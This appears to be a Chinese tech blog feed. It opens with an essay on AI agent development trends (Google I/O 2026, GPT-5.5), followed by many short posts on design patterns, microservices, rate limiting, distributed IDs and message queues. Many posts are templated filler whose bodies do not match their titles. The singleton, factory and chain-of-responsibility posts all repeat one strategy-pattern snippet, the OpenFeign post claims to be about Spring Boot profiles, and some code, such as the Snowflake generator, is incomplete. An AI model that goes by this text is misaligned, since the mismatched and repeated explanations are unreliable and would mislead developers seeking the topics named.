AI代理开发时代到来：Google I/O 2026 与 GPT-5.5 趋势观察 /2026/05/20/ai-dai-li-kai-fa-shi-dai-dao-lai-google-i-o-2026-yu-gpt-5-5-qu-shi-guan-cha/ AI代理开发时代到来：Google I/O 2026 与 GPT-5.5 趋势观察

2026 年 5 月的技术主线非常清晰：AI 不再只是回答问题、生成片段代码，正在变成可以理解目标、调用工具、验证结果并持续推进任务的“工作流代理”。这次 Google I/O 2026 的开发者主题，以及 OpenAI GPT-5.5 的发布，都把同一个趋势推到了台前：未来的软件开发，不只是“人写代码，AI 辅助”，而是“人定义目标，AI 参与执行”。

AI代理开发时代到来：Google I/O 2026 与 GPT-5.5 趋势观察是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

一、Google I/O 2026：开发工具进入 Agent-first 阶段

Google 在 I/O 2026 汇总页中提到，本次大会发布了 Gemini Omni、Gemini 3.5，并强调 Gemini 3.5 Flash 结合了前沿智能与行动能力。同时，Google 将 Antigravity 定位为“agent-first development platform”，说明开发平台的重点已经从简单补全代码转向让代理完成更完整的开发任务。

在 Google Developers Blog 的开发者主题回顾中，几个更新尤其值得关注：

  • Antigravity 2.0 与 Antigravity CLI：用于编排多个专用子代理，处理复杂工作流，并加入终端沙箱、凭据隐藏、Git 策略等安全约束。
  • Google AI Studio 集成增强：支持 Android 原生 Kotlin 方向的应用生成，并与 Workspace、Cloud Run、Firebase 等服务衔接。
  • Gemini API Managed Agents：通过一次 API 调用获得带远程沙箱的托管代理，降低开发者自建代理运行环境的门槛。
  • Chrome DevTools for agents：把浏览器调试、审计、真实用户体验模拟等能力交给 AI 代理调用。
  • Modern Web Guidance：给编码代理提供经过专家校验的 Web 性能、可访问性和安全实践。

这些更新背后的逻辑很一致：让 AI 代理有工具、有边界、有反馈、有验证能力。过去的 AI 编程助手主要负责“写”，现在的新方向是负责“做完并证明做对了”。

二、GPT-5.5：从模型能力走向长任务执行

OpenAI 在 2026 年 4 月发布 GPT-5.5 时，重点强调的也不是单点问答能力，而是面向真实工作的执行能力。官方介绍中提到，GPT-5.5 擅长写代码、调试、在线研究、数据分析、创建文档和表格、操作软件，并能在多工具之间推进任务。

对开发者来说，这个变化比单纯的 benchmark 分数更重要。因为真实工程任务往往不是一道算法题，而是包含下面这些环节：

  • 读懂需求和现有代码
  • 定位相关模块
  • 修改实现
  • 运行测试和构建
  • 根据失败信息迭代
  • 解释风险和变更范围
  • 产出可审核的提交

这类长链路任务最考验模型的上下文保持、工具使用、错误恢复和自检能力。GPT-5.5 官方材料提到它在 agentic coding、computer use、knowledge work 等方向提升明显，这正对应了开发流程中最费时间的部分。

三、开发者应该关注的三类机会

1. 把 AI 接入真实工程环境

只把 AI 当聊天窗口使用，收益会越来越有限。更值得做的是把 AI 接入项目的上下文中，例如：

  • 代码仓库
  • 测试命令
  • 文档目录
  • CI 结果
  • 浏览器调试工具
  • 数据库 schema
  • 内部接口说明

当 AI 能读取真实上下文并调用工具，才可能从“建议者”升级为“执行者”。

2. 为 AI 代理设计清晰边界

代理能力越强，边界越重要。Google 在开发者工具中反复强调沙箱、凭据保护、Git 策略，本质上是在解决一个核心问题：让 AI 能做事，但不能失控。

团队可以从这些简单规则开始：

  • 生产密钥不进入代理上下文
  • 高风险命令需要人工确认
  • 每次改动必须有 diff 可审查
  • 自动化任务必须限定目录和权限
  • 代理生成的代码必须跑测试

AI Agent 的成熟，不只依赖模型变强，也依赖工程治理变细。

3. 重构个人和团队工作流

未来更稀缺的能力不是“会不会问 AI”，而是能否把任务拆成 AI 可以稳定执行的小闭环。例如：

  • 让 AI 先扫描错误日志并给出候选原因
  • 让 AI 为一个模块补充测试
  • 让 AI 迁移旧 API，并生成兼容性说明
  • 让 AI 每天整理技术资讯，形成可发布文章
  • 让 AI 在发布前检查链接、构建和页面渲染

这些任务都不需要一次性完全自动化。可以先让 AI 做草稿、人审核，再逐步扩大自动化范围。

四、对普通开发者的影响

AI 编程工具的重心正在从“提高输入速度”变成“压缩反馈周期”。以前我们写代码、跑测试、查文档、看浏览器、改 bug 是几个分散动作；现在 AI 代理开始把这些动作串起来。

这会带来三点变化：

  • 初级重复任务会被快速自动化：脚手架、CRUD、迁移、测试补全会越来越便宜。
  • 系统理解能力更值钱：能定义正确目标、判断架构取舍、识别风险的人会更重要。
  • 工程规范会成为 AI 的放大器：测试完善、文档清楚、模块边界稳定的项目，更容易从 AI 代理中获得收益。

换句话说，AI 不会让工程纪律变得不重要，反而会让好工程习惯的收益更高。

五、结论

Google I/O 2026 和 GPT-5.5 的共同信号是：AI Agent 正在进入开发者日常。它不再只是一个更聪明的补全工具，而是在逐步变成能规划、执行、验证和交付的工作伙伴。

对个人开发者来说，现在最值得做的不是追逐每一个新模型，而是开始整理自己的工作流：哪些事情可以交给 AI 先做，哪些环节必须人工审核，哪些项目规范可以让 AI 做得更稳。

当工具开始具备行动能力，真正的竞争力会从“写得快”转向“判断准、边界清、交付稳”。

参考资料

]]> 技术资讯 AI 技术资讯 开发者工具 责任链模式在审批和过滤器中的应用 //ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/ 责任链模式在审批和过滤器中的应用

责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 模板方法模式适合流程固定的业务 //mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/ 模板方法模式适合流程固定的业务

模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 策略模式替代大量 if else //ce-lue-mo-shi-ti-dai-da-liang-if-else/ 策略模式替代大量 if else

策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 工厂模式如何降低创建复杂度 //gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/ 工厂模式如何降低创建复杂度

工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 单例模式的线程安全写法 //dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/ 单例模式的线程安全写法

单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 接口版本管理和灰度发布思路 //jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/ 接口版本管理和灰度发布思路

接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud OpenFeign 调用超时和重试配置 //openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/ OpenFeign 调用超时和重试配置

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 网关在微服务里承担什么职责 //wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/ 网关在微服务里承担什么职责

API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 服务注册发现的基本流程 //fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/ 服务注册发现的基本流程

服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 配置中心解决了什么问题 //pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/ 配置中心解决了什么问题

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 限流、熔断、降级：高可用架构的三大利器 //xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/ 限流、熔断、降级：高可用架构的三大利器

限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。

概念区别

#

1. 限流（Rate Limiting）

目的：控制进入系统的请求速率

原理：

┌─────────────────────────────────────┐
│     大量请求涌入                    │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│    限流组件（令牌桶/漏桶）           │
│    ┌────────────────────────────┐   │
│    │ 每秒只允许 1000 个请求通过 │   │
│    └────────────────────────────┘   │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│      后端服务（稳定处理）            │
└─────────────────────────────────────┘

#

2. 熔断（Circuit Breaker）

目的：快速失败，保护下游服务

原理：

健康状态：
┌─────┐     正常请求      ┌──────┐
│ API │ ────────────────► │ 服务 │
└─────┘                   └──────┘

熔断状态：
┌─────┐    直接返回错误    ┌──────┐
│ API │ ────────────────► │ 熔断 │
└─────┘                   └──────┘
                            │
                            ▼
                    ┌──────┐
                    │ 服务 │ (恢复中)
                    └──────┘

#

3. 降级（Degradation）

目的：牺牲非核心功能，保障核心服务

原理：

正常情况：
用户 → 首页 → [推荐模块] → [搜索模块] → [用户模块]

降级情况：
用户 → 首页 → [推荐模块(降级)] → [搜索模块] → [用户模块]
                    │
                    ▼
              返回默认推荐数据

实践实现

#

限流实现

// 使用 Bucket4j 实现限流
@Component
public class RateLimitFilter implements Filter {
    
    private final Bucket bucket;
    
    public RateLimitFilter() {
        this.bucket = Bucket.builder()
            .addLimit(Bandwidth.simple(1000, Duration.ofSeconds(1)))
            .build();
    }
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        
        if (bucket.tryConsume(1)) {
            chain.doFilter(request, response);
        } else {
            HttpServletResponse httpResponse = (HttpServletResponse) response;
            httpResponse.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());
            httpResponse.getWriter().write("请求过于频繁，请稍后重试");
        }
    }
}

#

熔断实现

// 使用 Resilience4j 实现熔断
@Service
public class OrderService {
    
    private final CircuitBreaker circuitBreaker;
    private final InventoryService inventoryService;
    
    public OrderService(InventoryService inventoryService) {
        this.inventoryService = inventoryService;
        this.circuitBreaker = CircuitBreaker.ofDefaults("inventory");
    }
    
    public void createOrder(Long productId, int quantity) {
        Supplier<Boolean> supplier = circuitBreaker.decorateSupplier(
            () -> inventoryService.deductStock(productId, quantity)
        );
        
        Try.ofSupplier(supplier)
            .onSuccess(result -> log.info("库存扣减成功"))
            .onFailure(e -> {
                log.warn("库存服务熔断，使用降级方案");
                // 降级逻辑
            });
    }
}

#

降级实现

// 使用 Hystrix 实现降级
@Service
public class RecommendService {
    
    @HystrixCommand(fallbackMethod = "getFallbackRecommendations")
    public List<Product> getRecommendations(Long userId) {
        // 正常调用推荐算法
        return recommendationAlgorithm.getRecommendations(userId);
    }
    
    public List<Product> getFallbackRecommendations(Long userId) {
        // 降级：返回热门商品
        return productRepository.findHotProducts(10);
    }
}

适用场景

#

限流场景

// 场景：秒杀活动
@GetMapping("/seckill")
@RateLimiter(name = "seckill", fallbackMethod = "seckillFallback")
public ResponseEntity<String> seckill(@RequestParam Long productId) {
    seckillService.seckill(productId);
    return ResponseEntity.ok("秒杀成功");
}

public ResponseEntity<String> seckillFallback(Long productId, Throwable e) {
    return ResponseEntity.status(HttpStatus.TOO_MANY_REQUESTS).body("秒杀太火爆，请稍后重试");
}

#

熔断场景

// 场景：调用第三方支付接口
public void pay(PaymentRequest request) {
    circuitBreaker.executeSupplier(() -> {
        return paymentClient.pay(request);
    });
}

#

降级场景

// 场景：首页展示
public HomePage getHomePage(Long userId) {
    HomePage page = new HomePage();
    
    // 核心功能：用户信息
    page.setUser(userService.getUser(userId));
    
    // 非核心功能：推荐（可降级）
    try {
        page.setRecommendations(recommendService.getRecommendations(userId));
    } catch (Exception e) {
        log.warn("推荐服务降级");
        page.setRecommendations(getDefaultRecommendations());
    }
    
    return page;
}

监控与告警

#

限流监控

// 记录限流指标
MeterRegistry meterRegistry = new SimpleMeterRegistry();
Counter blockedRequests = Counter.builder("rate_limit.blocked")
    .register(meterRegistry);

// 限流时记录
if (!bucket.tryConsume(1)) {
    blockedRequests.increment();
}

#

熔断监控

# Prometheus 指标
resilience4j_circuitbreaker_calls_total{name="inventory",state="success"} 100
resilience4j_circuitbreaker_calls_total{name="inventory",state="failed"} 50
resilience4j_circuitbreaker_state{name="inventory"} 1  # 1=OPEN, 0=CLOSED

总结

限流、熔断、降级的核心价值：

  1. 限流：控制入口流量，保护系统不被压垮
  2. 熔断：快速失败，防止级联故障
  3. 降级：牺牲非核心功能，保障核心服务

这三种策略常常组合使用，共同构建高可用的分布式系统。我在多个项目中都实践过这些策略，效果非常显著。

核心要点

  1. 限流：控制入口流量，保护系统不被压垮

  2. 熔断：快速失败，防止级联故障

  3. 降级：牺牲非核心功能，保障核心服务

  4. 常用的限流算法：令牌桶、漏桶、滑动窗口

总结

限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。

]]> 分布式 分布式 架构 分布式事务为什么难 //fen-bu-shi-shi-wu-wei-shi-me-nan/ 分布式事务为什么难

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> 分布式 分布式 架构 接口幂等性设计从业务开始 //jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/ 接口幂等性设计从业务开始

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 分布式 ID 生成：方案对比与选型指南 //fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/ 分布式 ID 生成：方案对比与选型指南

在分布式系统中，生成唯一 ID 是一个常见需求。今天我想分享一下常见的分布式 ID 生成方案及其适用场景。

常见方案对比

方案优点缺点适用场景
UUID简单，无需协调无序，索引性能差非核心业务
数据库自增有序，简单单点瓶颈中小规模
雪花算法高性能，有序需要时钟同步高并发场景
Redis 生成高性能，灵活依赖 Redis缓存场景
数据库分段高可用，有序实现复杂大规模系统

方案详解

1. UUID

// 最简单的方案
String id = UUID.randomUUID().toString();
// 示例: 550e8400-e29b-41d4-a716-446655440000

特点：

  • 本地生成，无需网络调用
  • 128 位，全球唯一
  • 无序，不利于数据库索引

2. 数据库自增

CREATE TABLE id_generator (
    id BIGINT PRIMARY KEY AUTO_INCREMENT
);

-- 获取 ID
INSERT INTO id_generator VALUES (NULL);
SELECT LAST_INSERT_ID();

优化方案：

-- 使用批量获取
BEGIN;
UPDATE id_generator SET id = LAST_INSERT_ID(id + 1000);
COMMIT;
-- 使用 LAST_INSERT_ID() 获取起始 ID

3. 雪花算法

public class SnowflakeIdGenerator {
    
    private final long workerId;
    private final long datacenterId;
    private long sequence = 0L;
    private long lastTimestamp = -1L;
    
    public synchronized long nextId() {
        long timestamp = System.currentTimeMillis();
        
        if (timestamp < lastTimestamp) {
            throw new RuntimeException("时钟回拨");
        }
        
        if (timestamp == lastTimestamp) {
            sequence = (sequence + 1) & 4095; // 12位序列号
            if (sequence == 0) {
                timestamp = waitNextMillis(lastTimestamp);
            }
        } else {
            sequence = 0L;
        }
        
        lastTimestamp = timestamp;
        
        return ((timestamp - 1288834974657L) << 22)  // 时间戳
             | (datacenterId << 17)                   // 数据中心ID
             | (workerId << 12)                       // 机器ID
             | sequence;                              // 序列号
    }
}

结构：

1位符号位 + 41位时间戳 + 5位数据中心 + 5位机器ID + 12位序列号 = 64位

4. Redis 生成

public class RedisIdGenerator {
    
    @Autowired
    private StringRedisTemplate redisTemplate;
    
    public long nextId(String key) {
        return redisTemplate.opsForValue()
            .increment(key, 1);
    }
}

批量获取：

public List<Long> batchNextId(String key, int count) {
    Long result = redisTemplate.opsForValue().increment(key, count);
    List<Long> ids = new ArrayList<>();
    for (int i = 0; i < count; i++) {
        ids.add(result - count + 1 + i);
    }
    return ids;
}

实战选型建议

场景一：中小型系统

// 使用数据库自增 ID
@Repository
public interface OrderRepository extends JpaRepository<Order, Long> {
    @Query(value = "SELECT AUTO_INCREMENT FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = 'orders'", nativeQuery = true)
    Long getNextId();
}

场景二：高并发系统

// 使用雪花算法
@Configuration
public class IdGeneratorConfig {
    
    @Value("${app.worker-id}")
    private long workerId;
    
    @Bean
    public SnowflakeIdGenerator snowflakeIdGenerator() {
        return new SnowflakeIdGenerator(workerId, 0);
    }
}

场景三：多数据中心

// 使用带数据中心ID的雪花算法
public class MultiDCIdGenerator {
    
    public long nextId(int datacenterId, int workerId) {
        // 包含数据中心信息
        return snowflakeGenerator(datacenterId, workerId).nextId();
    }
}

注意事项

1. 时钟回拨问题

// 处理时钟回拨
if (timestamp < lastTimestamp) {
    // 等待时钟恢复或抛出异常
    throw new IllegalStateException("Clock moved backwards");
}

2. 分布式部署

# 每个节点配置不同的 workerId
app:
  worker-id: ${HOSTNAME:0}  # 使用主机名或环境变量

3. ID 长度限制

// 考虑数据库字段类型
// BIGINT: -9e18 ~ 9e18 (64位)
// INT: -2e9 ~ 2e9 (32位)

总结

选择分布式 ID 方案的关键：

  1. 简单场景：使用 UUID 或数据库自增
  2. 高并发场景：使用雪花算法
  3. 需要灵活控制：使用 Redis
  4. 多数据中心：使用带数据中心信息的方案

我在多个项目中根据不同场景选择了不同的方案，关键是理解每种方案的优缺点。

]]> 分布式 分布式 架构 延迟队列的业务场景和实现思路 //yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/ 延迟队列的业务场景和实现思路

延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息丢失问题从生产到消费排查 //xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/ 消息丢失问题从生产到消费排查

消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息重复消费如何保证幂等 //xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/ 消息重复消费如何保证幂等

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息队列：揭秘削峰填谷的底层逻辑 //xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/ 消息队列：揭秘削峰填谷的底层逻辑

消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。

什么是削峰填谷

#

问题场景

高峰期：每秒 10000 次请求
处理能力：每秒 1000 次

如果直接处理：
┌─────────────────────────────────────┐
│ 10000 req/s                        │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│ 系统崩溃或响应超时                  │
└─────────────────────────────────────┘

#

解决方案

使用消息队列后：
┌─────────────────────────────────────┐
│ 10000 req/s                        │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│ 消息队列（缓冲）                    │
│ ┌────────────────────────────────┐  │
│ │ 消息堆积区                     │  │
│ └────────────────────────────────┘  │
└──────────────┬──────────────────────┘
               │ 1000 req/s
               ▼
┌─────────────────────────────────────┐
│ 消费者（匀速处理）                  │
└─────────────────────────────────────┘

核心原理

#

1. 异步解耦

// 生产者：发送消息后立即返回
@Service
public class OrderService {
    
    @Autowired
    private RabbitTemplate rabbitTemplate;
    
    public void createOrder(Order order) {
        // 1. 保存订单
        orderRepository.save(order);
        
        // 2. 发送消息（异步）
        rabbitTemplate.convertAndSend(
            "exchange.order", 
            "order.created", 
            order.getId()
        );
        
        // 3. 立即返回，不等待下游处理
    }
}

#

2. 流量整形

// 消费者：匀速消费
@Component
public class OrderConsumer {
    
    @RabbitListener(queues = "queue.order.created")
    public void handleOrderCreated(Long orderId) {
        // 处理订单创建后的业务
        notificationService.sendSms(orderId);
        inventoryService.updateStock(orderId);
    }
}

#

3. 峰值缓冲

# RabbitMQ 配置示例
spring:
  rabbitmq:
    listener:
      simple:
        concurrency: 10    # 最小消费者数
        max-concurrency: 50 # 最大消费者数
        prefetch: 100       # 每次预取消息数

实战案例

#

